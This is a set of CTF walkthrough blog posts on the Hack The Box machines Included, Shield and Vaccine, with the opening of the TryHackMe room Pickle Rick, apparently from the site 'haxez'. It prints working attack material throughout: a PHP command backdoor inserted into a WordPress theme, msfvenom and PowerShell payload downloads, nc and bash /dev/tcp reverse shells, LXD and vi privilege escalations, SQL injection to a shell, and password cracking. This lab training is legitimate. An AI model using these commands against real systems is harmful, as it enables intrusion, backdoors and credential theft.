Hello world, welcome to haxez where today I will be looking at the Hack The Box Machine Included. This was a really fun box despite a frustrating ending. This box is fairly simple to start off with provided you notice everything that is going on. So first of all we ping the box to see if it’s up.

Included Enumeration

└──╼ [★]$ sudo ping 10.10.10.55 | tee -a ping.txt
PING 10.10.10.55 (10.10.10.55) 56(84) bytes of data.
64 bytes from 10.10.10.55: icmp_seq=1 ttl=63 time=21.5 ms

Next we run our nmap scan.

└──╼ [★]$ sudo nmap -sC -sV -O -p0- 10.10.10.55 | tee -a nmap.10.10.10.55.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2021–09–11 16:30 BST
Nmap scan report for 10.10.10.55
Host is up (0.022s latency).
Not shown: 65535 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Site doesn’t have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.10.10.55/?file=index.php
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Exploring The Application

Ok so only a webserver is running, or is it? So I went to poke at the website and immediately saw that the website was calling the index.php using a file parameter. Caught my eye because it seemed like quite an obvious naming convention for accessing files. So naturally I pointed it straight at the /etc/passwd file and immediately had the file returned back to me.

Included Web Application
Hack The Box Included File Inclusion
Local File Inclusion
Hack The Box Included /etc/passwd

Included Local File Inclusion

Sweet where now? Well as other guides have mentioned, there is an interesting user in the /etc/passwd file. As you can see from the tool ouput below, the user tftp exists at the very bottom of the file with the home directory of /var/lib/tftpboot.

cat /mnt/root/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
mike:x:1000:1000:mike:/home/mike:/bin/bash
tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin

Trivial File Transfer Protocol

Interesting, I confirmed that TFTP was open, it listens on UDP rather than TCP which is why our Nmap scan missed it. At this point I would also like to point out that Nessus missed the TFTP service too. It also missed the directory traversal vulnerability which I also felt was odd since I asked it to san for web vulnerabilities. Nikto also missed the directory traversal vulnerability so this is an important lesson that you can’t always rely on tools

Nessus
Hack The Box Nessus Output

Included Foothold

Anyway I’m getting side tracked. I pinched the tried and tested pentestmonkey/php-reverse-shell and configured it for my IP address and port. I then uploaded the file to the machine using tftp.

└──╼ [★]$ tftp 10.10.10.55
tftp> put phpshell.php phpshell.php
Sent 5681 bytes in 0.4 seconds
tftp>

Once that was uploaded to the server I created my netcat listener and then ran curl against the URL to get a shell.

└──╼ [★]$ curl http://10.10.10.55/?file=../../../../../var/lib/tftpboot/phpshell.php

Lateral Movement

I checked out the history and ran a few other tools but nothing of much interest. I noticed there was a user called mike by listing out the /home directory. I guess this is the user we need to escalate to, to proceed further. It looks like mike has the user.txt flag in his home directory to so this confirmed my suspicious. After failing for a while I decided to try and switch user to Mike using the password found on the previous machine Pathfinder. Yeah it worked.

bash-4.4$ ls /home/mike
ls /home/mike
alpine-v3.14-x86_64–20210909_2211.tar.gz user.txt
bash-4.4$ cat /home/mike/user.txt
cat: /home/mike/user.txt: Permission denied
bash-4.4$ su mike
su mike
Password: Sheffield19

With that I was able to capture the user flag.

bash-4.4$ cat /home/mike/user.txt
cat /home/mike/user.txt
a56XXXXXXXXXXXXXXXXXXXXXXX5a1

Included Host Enumeration

So what next? Well it was time to perform some more enumeration on the machine. I grabbed a copy of Linpeas and hosted on my machine using Python’s simple http server. I then downloaded the script and ran it. Unfortunately, my VM crashed before I had chance to save the output but it turns out mike is a member of the lxd group.

At this point I checked the official walkthrough and attempted to follow the instructions. However for whatever reason I couldn’t get the lxd-alpine-builder script to work at all. Every time I ran the script, I just kept getting an error message telling me there was an invalid parameter. I tried to strace the script but the information it provided wasn’t much help either.

Included Privilege Escalation

After a bit of google fu I found this awesome article by hacktricks.xyz that essentially does the same thing but differently. So, I got to following the instructions there and created the image.

sudo su
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
sudo go get -d -v github.com/lxc/distrobuilder
cd $HOME/go/src/github.com/lxc/distrobuilder
make
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8

With the image and the rootfs.squashfs file ready, I started the python server again and downloaded the files from my local machine to the Included machine.

mike@included:~$ wget http://10.10.14.38/rootfs.squashfs
2021–09–11 18:02:14 —  http://10.10.14.38/rootfs.squashfs
Connecting to 10.10.14.38:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 2318336 (2.2M) [application/octet-stream]
Saving to: ‘rootfs.squashfs’
rootfs.squashfs 100%[===================>] 2.21M 3.17MB/s in 0.7smike@included:~$ wget http://10.10.14.38/lxd.tar.xz
2021–09–11 18:03:40 —  http://10.10.14.38/lxd.tar.xz
Connecting to 10.10.14.38:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 884 [application/x-xz]
Saving to: ‘lxd.tar.xz’
lxd.tar.xz 100%[===================>] 884 — .-KB/s in 0.005s

With the files now on the machine, I imported the image, configured it and ran it.

mike@included:~$ lxc image import lxd.tar.xz rootfs.squashfs — alias alpine
mike@included:~$ lxc init alpine privesc -c security.privileged=true
lxc init alpine privesc -c security.privileged=true
Creating privesc
mike@included:~$ lxc list
lxc list
+ — — — — -+ — — — — -+ — — — + — — — + — — — — — — + — — — — — -+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+ — — — — -+ — — — — -+ — — — + — — — + — — — — — — + — — — — — -+
| privesc | STOPPED | | | PERSISTENT | 0 |
+ — — — — -+ — — — — -+ — — — + — — — + — — — — — — + — — — — — -+mike@included:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
<st-root disk source=/ path=/mnt/root recursive=true
Device host-root added to privesc
mike@included:~$ lxc start privesc
lxc start privesc
mike@included:~$ lxc exec privesc /bin/sh
lxc exec privesc /bin/sh

While the shell wasn’t pretty, it did have root access and I was able to capture the final flag.

cd /mnt/root/root
/mnt/root/root # ^[[43;18Rcat root.txt
cat root.txt
c69XXXXXXXXXXXXXXXXbcf

Hack The Box – Shield

Hello world, welcome to haxez where in this post im going to be looking at the Hack The Box Machine Shield. This box gave me more trouble than I care to admit. I wouldn’t classify it as super easy that’s for sure. I have owned around 30 machines so far and this one was up there on the frustrated me list.

There are other great guides out for this box and I’m not pretending that I’m the first to write a walkthrough for it. artilleryRed, eldruin and many others have written great guides which I had to use to complete this box. I’m writing this merely as a way for me to better understand the techniques used and to document my progress.

Shield Enumeration

So first things first we perform our tried and tested nmap scan and wait for the results.

[10.10.15.199]─[joe@parrot]─[/media/sf_admin/Shield/Output]
└──╼ [★]$ nmap -Pn -sC -sV — min-rate=1000 -T4 -p0- 10.10.10.29PORT STATE SERVICE VERSION
80/tcp open tcpwrapped
| http-methods:
|_ Supported Methods: HEAD OPTIONS
|_http-server-header: Microsoft-IIS/10.0
3306/tcp open tcpwrapped
| mysql-info:
|_ MySQL Error: Host ‘10.10.15.199’ is not allowed to connect to this MySQL server

It looks like we have a webserver and MySQL running so lets go and take a look at the webserver. Upon punching in the IP address we are greeted with a default Internet Information Services page. If we didn’t know before then we can deduct that this is a Windows box.

Shield Internet Information Services Default Page

Crawling Shield

Ok so what else is there on this box, lets brute force the files and folders and see if there is anything that has been left behind by the creator. I used the tool dirb to crawl the files and folders to see whether there was anything interesting.

[10.10.15.199]─[joe@parrot]─[/media/sf_admin/Shield/Output]
└──╼ [★]$ sudo dirb http://10.10.10.29/
DIRB v2.22
By The Dark Raver
— — — — — — — — -
START_TIME: Wed Sep 8 20:37:47 2021
URL_BASE: http://10.10.10.29/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
— — — — — — — — -
GENERATED WORDS: 4612
— — Scanning URL: http://10.10.10.29/ — — 
==> DIRECTORY: http://10.10.10.29/wordpress/
— Entering directory: http://10.10.10.29/wordpress/ — — 
+ http://10.10.10.29/wordpress/index.php (CODE:301|SIZE:0)
==> DIRECTORY: http://10.10.10.29/wordpress/wp-admin/
==> DIRECTORY: http://10.10.10.29/wordpress/wp-content/
==> DIRECTORY: http://10.10.10.29/wordpress/wp-includes/

WordPress

Okie dokie, we have a WordPress content management system installed. WordPress isone of the most used content management system available now. It also has a lot of documentation on how you can rip it to shreds. After poking at it for a bit and not making much progress I looked at a walkthrough and saw that they were using credentials that were found on a previous box. This was one of the things that I found annoying at first. I was treating the box as a stand alone box. I guess thats why hackers have to think outside of the box…

Shield Foothold

Turns out the credentials worked, while reading the official walkthrough I also noticed that they used the Metasploit module wp_admin_shell_upload to get a shell on the box. I tried this and had no luck what so ever. I’ve included my configuration below so you can check it and let me know if I was doing anything wrong. The exploit worked but no session was created, who knows.

Module options (exploit/unix/webapp/wp_admin_shell_upload):
Name Current Setting Required Description
— — — — — — — — — — — — — — — — — — -
PASSWORD P@s5w0rd! yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port
RHOSTS 10.10.10.29 yes The target host(s), range CIDR identifier, or hosts file with syntax ‘file:<path>’
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /wordpress yes The base path to the wordpress application
USERNAME admin yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
— — — — — — — — — — — — — — — — — — — -
LHOST 10.0.2.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

So with that issue out the way I decided to log in to WordPress and poke around. I have managed to get a reverse shell before by editing the 404 PHP template and sticking a PHP reverse shell in there. In order to trigger it you just need to visit a page that doesn’t exist. Well no such luck on this machine, there is no 404 template. I tried a few other pages with PHP reverse shells but didn’t get anywhere. After this it was getting late so I gave up for the night.

The following day was much more productive. I edited the Single Post single.php file and stuck the simple-backdoor.php script in there.

<! — Simple PHP backdoor by DK (http://michaeldaw.org) →
<?php
if(isset($_REQUEST[‘cmd’])){
 echo “<pre>”;
 $cmd = ($_REQUEST[‘cmd’]);
 system($cmd);
 echo “</pre>”;
 die;
}
?>
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
<! — http://michaeldaw.org 2006 →

This script is awesome as it allows you to execute commands through the cmd parameter. With that saved to the single.php file it was time to test whether it worked. By calling the following URL it was possible to list the files in the directory where the script was being executed from.

Editing single.php with PHP backdoor
Editing single.php with PHP backdoor

The following command was used to test wether the backdoor was working.

http://10.10.10.29/wordpress/wp-content/themes/highlight/single.php?cmd=dir
Payload directory listing
Payload directory listing

Reverse Shell

Now that we have command execution it is time to get on to the box via a reverse shell. In order to do this I created a reverse shell executable using MSFVenom.

sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.10.15.199 LPORT=1337 -f exe -e x86/shikata_ga_nai -i 9 -o reverse.exe

With the payload created I started a Python webserver that the Shield machine could connect to and download it. By pasting the following URL in the browser with the additional cmd parameter commands, the machine downloads and saves the reverse shell payload locally.

Python webserver
Python webserver
http://10.10.10.29/wordpress/wp-content/themes/highlight/single.php?cmd=powershell -c “(New-Object Net.Webclient).DownloadFile(‘http://10.10.15.199/reverse.exe','C:\inetpub\wwwroot\wordpress\wp-content\themes\highlight\reverse.exe')"

With the file downloaded on to the server, we need to set up our netcat listener.

sudo nc -lvp 1337

Now time to get the reverse.exe file from the webserver.

http://10.10.10.29/wordpress/wp-content/themes/highlight/single.php?cmd=reverse.exe

Shield Privilege Escalation

Bingo we have access to the box, what now? There is lots of tools out there that you can use to gather information about the host and look for potential privilege escalation paths. One such tool is winPEAS. I won’t go into the details of finding the escalation path but it turns out I needed to use Juicy Potato. This part of the machine was an absolute nightmare, no matter what Class ID I used, the exploit failed. Well one machine reset later and pulling the first CLSID from the list found here and I had a shell back to my host with system.

In order to do this I first downloaded and uploaded JuicyPotato to the system using the same method as the reverse.exe payload. I also did the same with nc.exe. I then created a batch file with the following payload inside.

echo START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe 10.10.14.2 1111 > shell.bat

Once that was in place it was time to run JuicyPotato and invoke the shell.bat file to create a reverse shell back to my host. Make sure you have another listener running on your host ready to accept the connection.

jp.exe -t * -p C:\inetpub\wwwroot\wordpress\wp-content\themes\highlight\shell.bat -l 9999 -t * -c {03ca98d6-ff5d-49b8-abc6–03dd84127020}

It was then possible to capture the root key via the newly created shell.

PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
6e9XXXXXXXXXXXXXXXXX4fa

Hack The Box – Vaccine

Hello world, welcome to haxez where today we’re looking at Vaccine from Hack The Box. What’s that you say? You don’t know where to begin when trying to hack something? Well, my old chum I’ve got your back. So provided you have permission to hack the target you want to hack and that the rules of engagement have been agreed upon; you start by scanning the box. There are many security tools that can scan a host for vulnerabilities. If you want something quick and easy then check out Nessus, however Nmap is an essential tool that everyone should learn. So connect to the VPN, spin up the box and Nmap the heck out of it.

Vaccine Enumeration

Sudo nmap -sC -sV -O -p0- 10.10.10.46
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu)

FTP

As you can see from the results, port 21 FTP (File Transfer Protocol), port 22 (Secure Shell) and port 80 (HTTP/Web Server) are exposed (not like that). The first thing I checked was whether FTP allowed Anonymous access, it didn’t. I then checked the website, but it required a login. However, after performing some post exploitation investigation on the previous box Oopsie, I found the FTP credentials ftpuser / mc@F1l3ZilL4.

$ ftp 10.10.10.46
Connected to 10.10.10.46.
220 (vsFTPd 3.0.3)
Name (10.10.10.46:joe): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r — r — 1 0 0 2533 Feb 03 2020 backup.zip
226 Directory send OK

Vaccine Hash

Huzzah! The credentials worked and what’s that? A file called backup.zip? I needed to take a look at the contents of that zip file so I downloaded it using the get command. Once the zip file was downloaded, I tried to unzip but it promoted me for a password. The FTP password didn’t work neither did any of the passwords from the previous boxes. Luckily a tool exists that can be used to crack zip file passwords. Zip2john is a tool that creates a hash from a zip file that can then be cracked using johntheripper.


─[10.10.15.199]─[joe@parrot]─[/media/sf_admin/Vaccine/Output]
└──╼ [★]$ zip2john backup.zip > hash.txt
─[10.10.15.199]─[joe@parrot]─[/media/sf_admin/Vaccine/Output]
└──╼ [★]$ cat hash.txt
backup.zip:$pkzip2$2*2*1*0*8*24*3a41*5722*543fb39ed1a919ce7b58641a238e00f4cb3a826cfb1b8f4b225aa15c4ffda8fe72f60a82*2*0*3da*cca*1b1ccd6a*504*43*8*3da*1b1c*989a*22290dc3505e51d341f31925a7ffefc181ef9f66d8d25e53c82afc7c1598fbc3fff28a17ba9d8cec9a52d66a11ac103f257e14885793fe01e26238915796640e8936073177d3e6e28915f5abf20fb2fb2354cf3b7744be3e7a0a9a798bd40b63dc00c2ceaef81beb5d3c2b94e588c58725a07fe4ef86c990872b652b3dae89b2fff1f127142c95a5c3452b997e3312db40aee19b120b85b90f8a8828a13dd114f3401142d4bb6b4e369e308cc81c26912c3d673dc23a15920764f108ed151ebc3648932f1e8befd9554b9c904f6e6f19cbded8e1cac4e48a5be2b250ddfe42f7261444fbed8f86d207578c61c45fb2f48d7984ef7dcf88ed3885aaa12b943be3682b7df461842e3566700298efad66607052bd59c0e861a7672356729e81dc326ef431c4f3a3cdaf784c15fa7eea73adf02d9272e5c35a5d934b859133082a9f0e74d31243e81b72b45ef3074c0b2a676f409ad5aad7efb32971e68adbbb4d34ed681ad638947f35f43bb33217f71cbb0ec9f876ea75c299800bd36ec81017a4938c86fc7dbe2d412ccf032a3dc98f53e22e066defeb32f00a6f91ce9119da438a327d0e6b990eec23ea820fa24d3ed2dc2a7a56e4b21f8599cc75d00a42f02c653f9168249747832500bfd5828eae19a68b84da170d2a55abeb8430d0d77e6469b89da8e0d49bb24dbfc88f27258be9cf0f7fd531a0e980b6defe1f725e55538128fe52d296b3119b7e4149da3716abac1acd841afcbf79474911196d8596f79862dea26f555c772bbd1d0601814cb0e5939ce6e4452182d23167a287c5a18464581baab1d5f7d5d58d8087b7d0ca8647481e2d4cb6bc2e63aa9bc8c5d4dfc51f9cd2a1ee12a6a44a6e64ac208365180c1fa02bf4f627d5ca5c817cc101ce689afe130e1e6682123635a6e524e2833335f3a44704de5300b8d196df50660bb4dbb7b5cb082ce78d79b4b38e8e738e26798d10502281bfed1a9bb6426bfc47ef62841079d41dbe4fd356f53afc211b04af58fe3978f0cf4b96a7a6fc7ded6e2fba800227b186ee598dbf0c14cbfa557056ca836d69e28262a060a201d005b3f2ce736caed814591e4ccde4e2ab6bdbd647b08e543b4b2a5b23bc17488464b2d0359602a45cc26e30cf166720c43d6b5a1fddcfd380a9c7240ea888638e12a4533cfee2c7040a2f293a888d6dcc0d77bf0a2270f765e5ad8bfcbb7e68762359e335dfd2a9563f1d1d9327eb39e68690a8740fc9748483ba64f1d923edfc2754fc020bbfae77d06e8c94fba2a02612c0787b60f0ee78d21a6305fb97ad04bb562db282c223667af8ad907466b88e7052072d6968acb7258fb8846da057b1448a2a9699ac0e5592e369fd6e87d677a1fe91c0d0155fd237bfd2dc49*$/pkzip2$::backup.zip:style.css, index.php:backup.zip

Cracking The Hash

Now that we generated the hash, it was time to crack it using JohnTheRipper. In order to do this we point john at the hash and tell it which wordlist to use. As with all cracking a good place to start is rockyou.txt.

─[10.10.15.199]─[joe@parrot]─[/media/sf_admin/Vaccine/Output]
└──╼ [★]$ sudo john hash.txt — wordlist=/usr/share/wordlists/rockyou.txt
[sudo] password for joe:
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press ‘q’ or Ctrl-C to abort, almost any other key for status
741852963 (backup.zip)
1g 0:00:00:00 DONE (2021–09–07 19:02) 3.703g/s 15170p/s 15170c/s 15170C/s 123456..samanta
Use the “ — show” option to display all of the cracked passwords reliably
Session completed

Woop! looks like the password is 741852963. I tried to extract the zip file again using the password and it worked. The zip archived appeared to contain a CSS file (Cascading Stylesheet and an index.php file.

─[10.10.15.199]─[joe@parrot]─[/media/sf_admin/Vaccine/Output]
└──╼ [★]$ unzip backup.zip
Archive: backup.zip
[backup.zip] index.php password:
inflating: index.php
inflating: style.css

Vaccine MD5 Hash

Since the CSS file was only likely to contain website formatting, I looked at the index.php file first. Well what do you know, it looks like the index.php file had an MD5 password hash hardcoded in to the applications authentication mechanism.

<?php
session_start();
if(isset($_POST[‘username’]) && isset($_POST[‘password’])) {
if($_POST[‘username’] === ‘admin’ && md5($_POST[‘password’]) === “2cb42f8734ea607eefed3b70af13bbd3”) {
$_SESSION[‘login’] = “true”;
header(“Location: dashboard.php”);
}}?>

Hashcat

A lot of MD5 password hashes can be cracked online using websites like https://crackstation.net. However, you may not always have internet access especially if you are testing a clients internal infrastructure which doesn’t have internet access. For that reason, I decided to use Hashcat. Hashcat is another cracking tool like JohnTheRipper.

─[10.10.15.199]─[joe@parrot]─[/media/sf_admin/Vaccine/Output]
└──╼ [★]$ sudo hashcat -m 0 md5hash.txt /usr/share/wordlists/rockyou.txthashcat (v6.1.1) starting…
OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) — Platform #1 [The pocl project]
============================================================
* Device #1: pthread-Intel(R) Core(TM)2 Duo CPU P7550 @ 2.26GHz, 3546/3610 MB (1024 MB allocatable), 2MCU
2cb42f8734ea607eefed3b70af13bbd3:qwerty789
Session……….: hashcat
Status………..: Cracked
Hash.Name……..: MD5
Hash.Target……: 2cb42f8734ea607eefed3b70af13bbd3
Time.Started…..: Tue Sep 7 19:06:05 2021 (0 secs)
Time.Estimated…: Tue Sep 7 19:06:05 2021 (0 secs)
Guess.Base…….: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue……: 1/1 (100.00%)
Speed.#1………: 237.0 kH/s (0.49ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered……..: 1/1 (100.00%) Digests
Progress………: 100352/14344386 (0.70%)
Rejected………: 0/100352 (0.00%)
Restore.Point….: 98304/14344386 (0.69%)
Restore.Sub.#1…: Salt:0 Amplifier:0–1 Iteration:0–1
Candidates.#1….: Donovan -> pacers1

Vaccine Web Aplication

The hash was successfully cracked, and I must say I was disappointed to learn it was something as simple as qwerty789. Anyway, I was then able to login to the website with the newly cracked password. Upon log in, the website was very basic. The only functionality appeared to be a search box. This instantly made me think the vulnerability was going to be some form of SQL injection. As the website was behind an authentication mechanism, I needed a way to tell SQLMap to authenticate against the application. In order to do this inspected the website and nabbed my PHPSESSID cookie.

Vaccine PHPSESSID Cookie
PHPSESSID Cookie

Vaccine SQL Injection

The first few attempts to scan the host with SQLMap were unsuccessful as no vulnerability was discovered. It had to be an SQL injection vulnerability because I had exhausted all other avenues of attack other than brute forcing the Secure Shell port. After a bit of research and a lot of reading on the HTB forums, it turns out that if another hacker exploits the SQL injection first then it won’t show as vulnerable when scanned again, not 100% sure why (weird). Anyway after requesting to reset the box a billion times I was finally able to see that the search parameter was vulnerable to SQL Injection.

─[10.10.15.199]─[joe@parrot]─[/media/sf_admin/Vaccine/Output]
└──╼ [★]$ sudo sqlmap -u ‘http://10.10.10.46/dashboard.php?search=a' — cookie=”PHPSESSID=s6j01lrmbrqh5no9pgjdg3ka2a”[*] starting @ 20:08:00 /2021–09–07/
[20:08:01] [INFO] testing connection to the target URL
[20:08:02] [INFO] testing if the target URL content is stable
[20:08:02] [INFO] target URL content is stable
[20:08:02] [INFO] testing if GET parameter ‘search’ is dynamic
[20:08:02] [INFO] GET parameter ‘search’ appears to be dynamic
[20:08:02] [INFO] heuristic (basic) test shows that GET parameter ‘search’ might be injectable (possible DBMS: ‘PostgreSQL’)
---SNIP---
[20:08:09] [INFO] GET parameter ‘search’ appears to be ‘PostgreSQL > 8.1 stacked queries (comment)’ injectable
[20:08:09] [INFO] testing ‘PostgreSQL > 8.1 AND time-based blind’
[20:08:12] [INFO] GET parameter ‘search’ appears to be ‘PostgreSQL > 8.1 AND time-based blind’ injectable
[20:08:12] [INFO] testing ‘Generic UNION query (NULL) — 1 to 20 columns’
GET parameter ‘search’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] n

It was time to see whether we could get a shell on the box through SQLMap.

─[10.10.15.199]─[joe@parrot]─[/media/sf_admin/Vaccine/Output]
└──╼ [★]$ sudo sqlmap -u ‘http://10.10.10.46/dashboard.php?search=a' — cookie=”PHPSESSID=s6j01lrmbrqh5no9pgjdg3ka2a” — os-shell[*] starting @ 20:08:20 /2021–09–07/
[20:08:22] [INFO] resuming back-end DBMS ‘postgresql’
[20:08:22] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: search (GET)
---SNIP---
[20:08:23] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu 20.04 or 19.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: PostgreSQL
[20:08:23] [INFO] fingerprinting the back-end DBMS operating system
[20:08:24] [INFO] the back-end DBMS operating system is Linux
[20:08:24] [INFO] testing if current user is DBA
[20:08:25] [INFO] retrieved: ‘1’
[20:08:25] [INFO] going to use ‘COPY … FROM PROGRAM …’ command execution
[20:08:25] [INFO] calling Linux OS shell. To quit type ‘x’ or ‘q’ and press ENTER

Brilliant, this gave us an os-shell. In order to upgrade it to a full shell I needed to create a netcat listener and run a command on the server to get it to connect back to my host. First I created the netcat listener.

─[10.10.15.199]─[joe@parrot]─[/media/sf_admin/Vaccine/Output]
└──╼ [★]$ sudo nc -lvp 1234

Then I ran the command on the target server.

os-shell> bash -c ‘bash -i >& /dev/tcp/10.10.15.99/1234 0>&1

The command worked and the target server connected by to my host netcat listener.

10.10.10.46: inverse host lookup failed: Unknown host
connect to [10.10.15.199] from (UNKNOWN) [10.10.10.46] 38336
bash: cannot set terminal process group (1502): Inappropriate ioctl for device
bash: no job control in this shell
postgres@vaccine:/var/lib/postgresql/11/main$ whoami
postgres

Now that I had access to the server it was time to perform some further investigation. I checked the history and then started looking through the website files. I found one file called dashboard.php.

postgres@vaccine:/var/lib/postgresql/11/main$ cat /var/www/html/dashboard.php
if($_SESSION[‘login’] !== “true”) {
header(“Location: index.php”);
die();
}
try {
$conn = pg_connect(“host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!”);}

Bingo, we found a PHP database connection string with the postgres users password. I was then able to use the password to see what the postgres user had permissions to run.

postgres@vaccine:/var/lib/postgresql/11/main$ sudo -l
[sudo] password for postgres: P@s5w0rd!
Matching Defaults entries for postgres on vaccine:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User postgres may run the following commands on vaccine:
(ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf

It appeared as that the postgres user had the ability to edit the pg_hba.conf configuration file using the vi tool. This was great news as vi has a built-in terminal that allows you to execute commands. After running the /bin/vi /etc/postgresql/11/main/pg_hba.conf command you can press escape and then type :!/bin/bash. This drop you in to a root shell where you can snag the root.txt file. There is no user.txt file on this target.

root@vaccine:/var/lib/postgresql/11/main# cat /root/root.txt
cat /root/root.txt
dd6XXXXXXXXXXXXXXXXXXXXXX849

Pickle Rick

Hello World and welcome to HaXeZ, in this post I’m going to be doing the Pickle Rick room on TryHackMe. This is a fun easy room that requires some basic enumeration and then web application exploitation via code execution.

PICKLE RICK!
PICKLE RICK!

Scanning Pickle Rick

Ok, so the first thing we need to do is scan the box. To do that we’re going to use our favorite tool Nmap. As seen below, I ran the Nmap scan with the “-sC” flag set for safe scripts. The “-sV” flag set for service versions and then I specified all ports with “-p0-” and then gave it the IP address. As you can see, the results of the Nmap scan show that there are only two ports listening. Port 22 for Secure Shell and port 80 for an Apache Web Server.

sudo nmap -sC -sV -p0- 10.10.118.227 -T4
Nmap Scan of Pickle Rick
Nmap Scan of Pickle Rick

Exploring The Web Server

As it was unlikely that the room creator wanted us to brute-force SSH, I headed over to the web server. Show Me What You Got!. Upon visiting the web server I was greeted with a Rick and Morty themed website. Furthermore, it looks as though Rick has left Morty a message asking him for help.

Pickle Rick Web Server
Pickle Rick Web Server

Additionally, viewing the page source of the application revealed the username of R1ckRul3s within an HTML comment. The page source also gave away the location of the assets folder. As can be seen, the CSS and Javascript files were being called from the assets directory.

Pickle Rick Page Source
Pickle Rick Page Source

Navigating to the assets directory didn’t reveal much more information. However, it did have directory listening enabled. If this was a web application security assessment, I would definitely report this. While the information contained in the directory doesn’t any sensitive information now. It could do in the future.

Web Server Directory Listing Enabled
Web Server Directory Listing Enabled

Pickle Rick Foothold

After a bit more poking around, I stumbled upon the robots.txt file. Normally these files are used to tell web servers not to index certain pages. However, this one appeared to contain the string “Wubbalubbadubdub”. At first, I thought it was nonsense, but it is not nonsense at all. In bird person’s native tongue it means “I am in great pain, please help me”. References aside, this is the password that goes with the “R1ckRul3s” username we found earlier.

Robots.txt Wubbalubbadubdub
Robots.txt Wubbalubbadubdub

I ran dirb with a custom wordlist against the web application and found a login.php page. Admittedly, I should have found this page without dirb. When doing web application assessments, it’s a good idea to look for login pages with the extension being used (PHP, ASP, ASPX).

Pickle Rick Login PORTAL ha
Pickle Rick Login PORTAL ha

Most of the pages were protected and could only be accessed by the Rickest Rick or something. However, I was able to access the commands page. This allowed me to run commands such as “ls” to see the contents of the current directory. It was there I discovered the first ingredient in a text file called “Sup3rS3cretP1ckl3Ingred.txt” or something. I wasn’t able to use “cat” on the file, likely due to command blacklisting. However, I could use “less” on the file which gave me the first ingredient.

Web Application Command Execution
Web Application Command Execution

Popping Shells

As we have now confirmed that command execution is possible. We should be able to get a reverse shell from the application back to our hacker machine. To do this I visited the PayloadsAllTheThings GitHub repository and stole a python one-liner.

